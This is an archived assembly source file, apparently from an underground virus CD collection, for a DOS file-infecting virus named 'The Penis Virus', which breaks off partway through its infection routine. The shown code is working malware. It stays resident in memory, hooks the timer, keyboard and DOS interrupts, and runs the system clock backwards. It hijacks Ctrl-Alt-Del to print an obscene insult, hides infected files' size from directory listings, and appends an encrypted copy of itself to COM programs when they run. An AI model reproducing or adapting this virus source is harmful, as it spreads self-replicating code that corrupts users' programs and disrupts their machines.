home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / p / penis.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  29.4 KB  |  717 lines

  1. ;*****************************************************************************
  2.  
  3. ;*                              THE PENIS VIRUS 
  4.  
  5. ;*
  6.  
  7. ;*
  8.  
  9. ;* By Soltan Griss  [YAM]
  10.  
  11. ;*
  12.  
  13. ;*
  14.  
  15. ;*
  16.  
  17. ;*
  18.  
  19. ;* In no means was this intended to be a serious virus, I got bored one day
  20.  
  21. ;* and decided to have some fun.
  22.  
  23. ;*
  24.  
  25. ;*
  26.  
  27. ;* Well Here it is...
  28.  
  29. ;*
  30.  
  31. ;*****************************************************************************
  32.  
  33. seg_a           segment 
  34.  
  35.                 assume  cs:seg_a,ds:seg_a,es:nothing
  36.  
  37.               
  38.  
  39.         org     100h
  40.  
  41. start:  db      0E9h,02,00,42h,0f2h
  42.  
  43.  
  44.  
  45.         mov     cx,(old_21-old_8)       ;RUN FIRST TIME ONLY
  46.  
  47.         mov     si,offset old_8         ;encrypt All text messages
  48.  
  49.         call    crypter            
  50.  
  51.         
  52.  
  53.         mov     cx,(exec-data) 
  54.  
  55.         mov     si,offset data
  56.  
  57.         call    crypter
  58.  
  59.  
  60.  
  61.        
  62.  
  63. vstart  equ     $                
  64.  
  65.         call    code_start 
  66.  
  67. code_start:          
  68.  
  69.         pop     si
  70.  
  71.         sub     si,offset code_start
  72.  
  73.         mov     bp,si
  74.  
  75.         jmp     load                    ;Load in the TSR
  76.  
  77. ;**************************************************************************
  78.  
  79.  
  80.  
  81. old_8           dw      0,0
  82.  
  83.  
  84.  
  85. new_8:          push    ax                           
  86.  
  87.                 push    bx                        ;lets run the clock   
  88.  
  89.                 push    cx                        ;backwards   
  90.  
  91.                 push    ds                           
  92.  
  93.                 xor     ax,ax                        
  94.  
  95.                 mov     ds,ax                         
  96.  
  97.                 mov     bx,ds:46Ch                    
  98.  
  99.                 mov     cx,ds:046Eh                   
  100.  
  101.                 dec     bx                            
  102.  
  103.                 jno     loc_4         
  104.  
  105.                 dec     cx            
  106.  
  107.                 jno     loc_4         
  108.  
  109.                 mov     bx,0AFh       
  110.  
  111.                 mov     cx,18h                    ;remember to do it twice
  112.  
  113. loc_4:                                            ;cause the normal increase
  114.  
  115.                 dec     bx                        ;will negate the first one
  116.  
  117.                 jno     loc_5         
  118.  
  119.                 dec     cx            
  120.  
  121.                 jno     loc_5         
  122.  
  123.                 mov     bx,0AFh       
  124.  
  125.                 mov     cx,18h        
  126.  
  127. loc_5:                                
  128.  
  129.                 mov     ds:046Eh,cx   
  130.  
  131.                 mov     ds:046Ch,bx   
  132.  
  133.                 pop     ds            
  134.  
  135.                 pop     cx            
  136.  
  137.                 pop     bx            
  138.  
  139.                 pop     ax                          
  140.  
  141. do_old_8:       jmp     dword ptr cs:[old_8-vstart] 
  142.  
  143.                                                     
  144.  
  145.  
  146.  
  147. ;****************************************************************************
  148.  
  149. ;int 9 handler
  150.  
  151.  
  152.  
  153. old_9   dd      ?                       ;Store old int 9
  154.  
  155.  
  156.  
  157. new_9:  
  158.  
  159.         
  160.  
  161.         push    ax
  162.  
  163.         in      al,60h                  ;Turn on Register 60
  164.  
  165.         cmp     al,53h                  ;Ctrl-Alt-Del
  166.  
  167.         
  168.  
  169.         je      fuck_you
  170.  
  171.         pop     ax
  172.  
  173.         jmp     dword ptr cs:[(old_9-vstart)]
  174.  
  175.  
  176.  
  177. say_it: db      "FUCK YOU ASSHOLE!  ","$"
  178.  
  179.         
  180.  
  181. fuck_you:        
  182.  
  183.         push    ds
  184.  
  185.         push    dx
  186.  
  187.         mov     ah,9h
  188.  
  189.         
  190.  
  191.         push    cs
  192.  
  193.         pop     ds
  194.  
  195.       
  196.  
  197.         mov     dx,say_it-vstart                ;Say message
  198.  
  199.         int     21h
  200.  
  201.         pop     dx
  202.  
  203.         pop     ds
  204.  
  205.         pop     ax
  206.  
  207.         iret
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214.  
  215. ;***********************************************************************
  216.  
  217. ;***********************************************************************
  218.  
  219. ;***********************************************************************
  220.  
  221. ;***********************************************************************
  222.  
  223. ;***********************************************************************
  224.  
  225.  
  226.  
  227. old_21  dd      ?
  228.  
  229.  
  230.  
  231. new_21: 
  232.  
  233.         cmp     ax,4b00h                        ;Are we executing?
  234.  
  235.         je      exec1
  236.  
  237.         
  238.  
  239.         cmp     ah,11h
  240.  
  241.         je      hide_size
  242.  
  243.         cmp     ah,12h
  244.  
  245.         je      hide_size
  246.  
  247.         cmp     ax,0f242h                       ;Are we going resident?
  248.  
  249.         jne     do_old                          
  250.  
  251.         mov     bx,242fh                        ;Set our residency byte
  252.  
  253. do_old: jmp     dword ptr cs:[(old_21-vstart)]  ;If not then do old int 21
  254.  
  255. exec1:  jmp     exec
  256.  
  257. do_dir: jmp     dword ptr cs:[(old_21-vstart)]  
  258.  
  259.         ret        
  260.  
  261.  
  262.  
  263. hide_size:
  264.  
  265.         pushf
  266.  
  267.         push    cs
  268.  
  269.         call    do_dir                          ;get the current FCB
  270.  
  271.         cmp     al,00h
  272.  
  273.         jnz     dir_error                       ;jump if bad FCB
  274.  
  275.         
  276.  
  277.         push    ax
  278.  
  279.         push    bx
  280.  
  281.         push    es                              ;undocumented get FCB 
  282.  
  283.         mov     ah,51h                          ;location
  284.  
  285.         int     21h
  286.  
  287.         mov     es,bx                           ;get info from FCB
  288.  
  289.         cmp     bx,es:[16h]
  290.  
  291.         jnz     not_inf
  292.  
  293.         mov     bx,dx
  294.  
  295.         mov     al,[bx]
  296.  
  297.         push    ax
  298.  
  299.         mov     ah,2fh                          ;get DTA 
  300.  
  301.         int     21h
  302.  
  303.         pop     ax
  304.  
  305.         inc     al                              ;Check for extended FCB
  306.  
  307.         jnz     normal_fcb
  308.  
  309.         add     bx,7h
  310.  
  311. normal_fcb:
  312.  
  313.         mov     ax,es:[bx+17h]
  314.  
  315.         and     ax,1fh
  316.  
  317.         xor     al,01h                          ;check for 2 seconds
  318.  
  319.         jnz     not_inf
  320.  
  321.         
  322.  
  323.         and     byte ptr es:[bx+17h],0e0h       ;subtract virus size
  324.  
  325.         sub     es:[bx+1dh],(vend-vstart)
  326.  
  327.         sbb     es:[bx+1fh],ax
  328.  
  329. not_inf:pop     es
  330.  
  331.         pop     bx
  332.  
  333.         pop     ax
  334.  
  335.         
  336.  
  337. dir_error:   
  338.  
  339.         iret                                    ;back to caller
  340.  
  341.  
  342.  
  343.  
  344.  
  345. ;***************************************************************************
  346.  
  347. ;***************************************************************************
  348.  
  349. ;* PICTURE TO DISPLAY
  350.  
  351. ;***************************************************************************
  352.  
  353.  
  354.  
  355. data    DB      '▄',4,'▄',4,'▄',4,'▄',4,' ',4,' ',15,'▄',4,' ',15,' '
  356.  
  357.         DB      15,' ',15,' ',15,'▄',4,'▄',4,'▄',4,'▄',4,' ',15,'▄',4
  358.  
  359.         DB      '▄',4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'▄',4
  360.  
  361.         DB      '▄',4,' ',15,' ',15,'▄',4,' ',15,' ',15,' ',15,' ',15
  362.  
  363.         DB      ' ',15,'▄',4,' ',15,'▄',4,'▄',4,'▄',4,'▄',4,'█',64,'█'
  364.  
  365.         DB      64,' ',15,' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15
  366.  
  367.         DB      ' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' '
  368.  
  369.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
  370.  
  371.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  372.  
  373.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',64,' ',15,' ',15,' ',15
  374.  
  375.         DB      ' ',64,'█',64,' ',64,' ',15,' ',15,' ',15,' ',15,' ',64
  376.  
  377.         DB      ' ',15,' ',15,' ',64,' ',15,' ',15,' ',64,'▄',4,' ',15
  378.  
  379.         DB      ' ',15,' ',15,' ',15,'▄',4,' ',64,' ',4,' ',15,' ',15
  380.  
  381.         DB      '█',4,'█',4,'▄',4,' ',15,'█',64,' ',64,'█',4,' ',15,'█'
  382.  
  383.         DB      4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
  384.  
  385.         DB      0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ',15,' ',0
  386.  
  387.         DB      ' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  388.  
  389.         DB      ' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' '
  390.  
  391.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  392.  
  393.         DB      0,' ',0,' ',64,'▄',64,'▄',64,'▄',64,'▀',64,'█',64,' '
  394.  
  395.         DB      64,' ',15,' ',15,' ',15,' ',15,' ',64,' ',15,' ',15,' '
  396.  
  397.         DB      64,' ',15,' ',15,' ',15,' ',64,'▄',4,' ',64,' ',64,'▀'
  398.  
  399.         DB      64,' ',64,' ',4,' ',15,' ',15,' ',15,'█',4,' ',15,'█'
  400.  
  401.         DB      4,'▄',4,'█',4,' ',15,'█',4,' ',15,'█',4,'▄',64,'▄',64
  402.  
  403.         DB      '█',64,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' '
  404.  
  405.         DB      0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
  406.  
  407.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  408.  
  409.         DB      ' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  410.  
  411.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',64,'▄',4
  412.  
  413.         DB      '▄',4,'▄',4,'▄',64,' ',15,' ',64,'▄',4,'▄',4,'▄',4,' '
  414.  
  415.         DB      15,' ',64,'▄',4,'▄',4,' ',64,' ',15,' ',15,' ',15,' '
  416.  
  417.         DB      15,' ',64,' ',15,' ',15,' ',64,' ',15,' ',15,' ',15,' '
  418.  
  419.         DB      15,' ',15,'█',4,' ',15,' ',15,'▀',4,' ',15,' ',15,'█'
  420.  
  421.         DB      4,' ',15,'█',4,'▄',4,'▄',4,'▄',4,'█',64,'█',64,' ',15
  422.  
  423.         DB      ' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' '
  424.  
  425.         DB      15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15
  426.  
  427.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
  428.  
  429.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  430.  
  431.         DB      0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  432.  
  433.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  434.  
  435.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  436.  
  437.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'█',96,'▀',96
  438.  
  439.         DB      '▀',96,'▀',96,'█',96,'█',96,'█',96,'█',96,' ',15,' ',15
  440.  
  441.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  442.  
  443.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  444.  
  445.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  446.  
  447.         DB      ' ',0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
  448.  
  449.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  450.  
  451.         DB      15,' ',15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103
  452.  
  453.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  454.  
  455.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  456.  
  457.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  458.  
  459.         DB      ' ',103,' ',103,'▒',96,'░',96,'░',96,' ',96,'▀',96,'█'
  460.  
  461.         DB      96,'█',96,'█',96,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  462.  
  463.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'▄'
  464.  
  465.         DB      15,'▄',15,'▄',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
  466.  
  467.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  468.  
  469.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  470.  
  471.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',96,' ',96,' ',96
  472.  
  473.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  474.  
  475.         DB      ' ',96,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  476.  
  477.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  478.  
  479.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,'▒',96
  480.  
  481.         DB      '▒',96,'░',96,'░',96,' ',96,'█',96,'█',96,'▄',15,'▄',15
  482.  
  483.         DB      '▄',15,'█',15,'█',15,'█',15,' ',15,' ',15,' ',15,' ',15
  484.  
  485.         DB      '█',15,'█',15,'█',15,'█',15,'█',15,'█',15,'█',15,' ',15
  486.  
  487.         DB      ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  488.  
  489.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  490.  
  491.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  492.  
  493.         DB      15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103,'─',96
  494.  
  495.         DB      '─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96
  496.  
  497.         DB      '─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96
  498.  
  499.         DB      '─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96
  500.  
  501.         DB      '▒',96,'▒',96,'░',96,'░',96,' ',96,'█',96,' ',15,' ',15
  502.  
  503.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  504.  
  505.         DB      ' ',15,' ',15,' ',15,'▀',15,'▀',15,'▀',15,' ',15,' ',15
  506.  
  507.         DB      ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  508.  
  509.         DB      15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
  510.  
  511.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  512.  
  513.         DB      15,' ',96,' ',103,' ',103,' ',96,' ',96,' ',103,'▀',96
  514.  
  515.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  516.  
  517.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  518.  
  519.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  520.  
  521.         DB      ' ',15,'▄',96,'▄',96,'▄',96,'█',96,' ',15,' ',15,' ',15
  522.  
  523.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  524.  
  525.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  526.  
  527.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  528.  
  529.         DB      ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
  530.  
  531.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  532.  
  533.         DB      ' ',15,' ',103,' ',103,' ',103,'░',96,'░',96,'░',96,' '
  534.  
  535.         DB      103,'▀',96,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' '
  536.  
  537.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  538.  
  539.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  540.  
  541.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  542.  
  543.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  544.  
  545.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  546.  
  547.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  548.  
  549.         DB      15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
  550.  
  551.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  552.  
  553.         DB      15,' ',103,' ',103,'░',96,'░',96,'░',96,'░',96,' ',103
  554.  
  555.         DB      '▄',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  556.  
  557.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  558.  
  559.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  560.  
  561.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  562.  
  563.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  564.  
  565.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  566.  
  567.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  568.  
  569.         DB      ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
  570.  
  571.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  572.  
  573.         DB      ' ',15,' ',103,'░',96,'░',96,'░',96,'░',96,' ',103,' '
  574.  
  575.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  576.  
  577.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  578.  
  579.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  580.  
  581.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  582.  
  583.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  584.  
  585.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  586.  
  587.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  588.  
  589.         DB      15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' '
  590.  
  591.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  592.  
  593.         DB      15,' ',15,'▄',96,' ',103,' ',103,' ',103,'▄',96,' ',15
  594.  
  595.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  596.  
  597.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  598.  
  599.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  600.  
  601.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  602.  
  603.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  604.  
  605.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  606.  
  607.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  608.  
  609.         DB      ' ',15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15
  610.  
  611.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  612.  
  613.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  614.  
  615.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  616.  
  617.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  618.  
  619.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  620.  
  621.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  622.  
  623.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  624.  
  625.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  626.  
  627.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  628.  
  629.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  630.  
  631.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  632.  
  633.         DB      ' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  634.  
  635.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  636.  
  637.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  638.  
  639.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  640.  
  641.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  642.  
  643.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  644.  
  645.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',15,' '
  646.  
  647.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  648.  
  649.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  650.  
  651.         DB      15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0
  652.  
  653.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  654.  
  655.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  656.  
  657.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  658.  
  659.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  660.  
  661.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  662.  
  663.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  664.  
  665.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  666.  
  667.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  668.  
  669.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
  670.  
  671.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  672.  
  673.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  674.  
  675.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  676.  
  677.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  678.  
  679.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  680.  
  681.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  682.  
  683.         DB      0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  684.  
  685.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  686.  
  687.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  688.  
  689. doggie  DB      15,'Y',15,'O',15,'U',15,'R',15,' ',15,'F',15,'I',15,'L',15,'E'
  690.  
  691.         DB      15,' ',15,'H',15,'A',15,'S',15,' ',15,'J',15,'U',15,'S',15,'T'
  692.  
  693.         DB      15,' ',15,'B',15,'E',15,' ',15,'P',15,'E',15,'N',15,'I',15,'S'
  694.  
  695.         DB      15,'`',15,'I',15,'Z',15,'E',15,'D',15,' ',15,'C',15,'O',15,'M'
  696.  
  697.         DB      15,'P',15,'L',15,'E',15,'M',15,'E',15,'N',15,'T',15,'S',15,' '
  698.  
  699.         DB      15,'O',15,'F',15,' ',15,' ',15,' '
  700.  
  701.         DB      0,' ',0,' ',15,' ',15,' ',15,' '
  702.  
  703.         DB      03,'[',03,'Y',03,'A',03,'M'
  704.  
  705.         DB      03,']',03,'/',03,'9',03,'2'
  706.  
  707.         DB      03,' ',02,'-',04,'S',04,'.',04,'G',04,'R',04,'I',04,'S',04,'S'
  708.  
  709.         DB      04,' ',0,' ',0,' ',0,' ',0,' ',0
  710.  
  711.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0
  712.  
  713. ;Actual program begins here
  714.  
  715.          
  716.  
  717. exec:   
  718.  
  719.         push    ax  
  720.  
  721.         push    bx
  722.  
  723.         push    cx
  724.  
  725.         push    dx
  726.  
  727.         push    di
  728.  
  729.         push    si
  730.  
  731.         push    ds  
  732.  
  733.         push    es
  734.  
  735.         
  736.  
  737.         
  738.  
  739.         mov     ax,4300h                        ;get file attributes
  740.  
  741.         int     21h
  742.  
  743.         jc      long_cock
  744.  
  745.  
  746.  
  747.         and     cl,0feh                         ;make it read/write
  748.  
  749.         mov     ax,4301h
  750.  
  751.         int     21h
  752.  
  753.         jc      long_cock
  754.  
  755.         
  756.  
  757.  
  758.  
  759.  
  760.  
  761. infect: 
  762.  
  763.         mov     ax,3d02h
  764.  
  765.         int     21h
  766.  
  767.         jc      long_cock
  768.  
  769.         
  770.  
  771.         
  772.  
  773.         mov     bx,ax
  774.  
  775.                 
  776.  
  777.         push    ds
  778.  
  779.         push    cs
  780.  
  781.         pop     ds
  782.  
  783.  
  784.  
  785.         mov     ah,3fh
  786.  
  787.         mov     cx,5h
  788.  
  789.         mov     dx,(buffer-vstart)              ;load in the first 5 bytes
  790.  
  791.         int     21h
  792.  
  793.         jc      long_cock
  794.  
  795.         
  796.  
  797.  
  798.  
  799.         cmp     word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
  800.  
  801.         je      long_cock                           ;EXE 
  802.  
  803.         
  804.  
  805.         cmp     word ptr cs:[(buffer-vstart)+3],42F2h
  806.  
  807.         je      long_cock                           ;Check to see if F242 tag
  808.  
  809.                                                     ;if so then its infected
  810.  
  811.         jmp     next
  812.  
  813.  
  814.  
  815. long_cock:        
  816.  
  817.         jmp     cocker2
  818.  
  819.  
  820.  
  821. next:   
  822.  
  823.  
  824.  
  825.         mov     ax,5700h
  826.  
  827.         int     21h
  828.  
  829.  
  830.  
  831.         mov     word ptr cs:[(old_time-vstart)],cx  ;get the files time 
  832.  
  833.         mov     word ptr cs:[(old_date-vstart)],dx  ;and date
  834.  
  835.  
  836.  
  837.         mov     ax,4202h                            ;move file pointer to end
  838.  
  839.         xor     cx,cx                               ;top get the files size
  840.  
  841.         xor     dx,dx
  842.  
  843.         int     21h
  844.  
  845.         jc      long_cock
  846.  
  847.         mov     cx,ax
  848.  
  849.         sub     cx,3                                ;sub 3 form jump at begining
  850.  
  851.         mov     word ptr cs:[(jump_add+1-vstart)],cx;save length in jmp commmand
  852.  
  853.  
  854.  
  855.         
  856.  
  857.         mov     cx,(old_21-old_8) ;number of bytes to encrypt before writing
  858.  
  859.         mov     si,(old_8-vstart)
  860.  
  861.         call    crypter
  862.  
  863.  
  864.  
  865.         mov     cx,(exec-data) 
  866.  
  867.         mov     si,(data-vstart)
  868.  
  869.         call    crypter
  870.  
  871.  
  872.  
  873.  
  874.  
  875.  
  876.  
  877.         mov     ah,byte ptr cs:[(infect_times-vstart)]
  878.  
  879.         mov     byte ptr cs:[(infect_times-vstart)],00h
  880.  
  881.         push    ax
  882.  
  883.  
  884.  
  885.         mov     cx,(vend-vstart)                    ;write the virus to the end
  886.  
  887.         mov     ah,40h                              ;of the file
  888.  
  889.         xor     dx,dx
  890.  
  891.         int     21h
  892.  
  893.         jc      cocker
  894.  
  895.         
  896.  
  897.         pop     ax
  898.  
  899.         inc     ah
  900.  
  901.         mov     byte ptr cs:[(infect_times-vstart)],ah ;counter 
  902.  
  903.  
  904.  
  905.  
  906.  
  907.         mov     cx,(exec-data) 
  908.  
  909.         mov     si,(data-vstart)                    ;decrypt data
  910.  
  911.         call    crypter
  912.  
  913.  
  914.  
  915.         mov     cx,(old_21-old_8) ;number of bytes to decrypt after writing
  916.  
  917.         mov     si,(old_8-vstart)
  918.  
  919.         call    crypter
  920.  
  921.         
  922.  
  923.         
  924.  
  925.         mov     ax,4200h                            ;move file pointer to the 
  926.  
  927.         xor     cx,cx                               ;begining to write the JMP
  928.  
  929.         xor     dx,dx
  930.  
  931.         int     21h
  932.  
  933.  
  934.  
  935.  
  936.  
  937.         mov     cx,5
  938.  
  939.         mov     ah,40h                              ;write the JMP top the file
  940.  
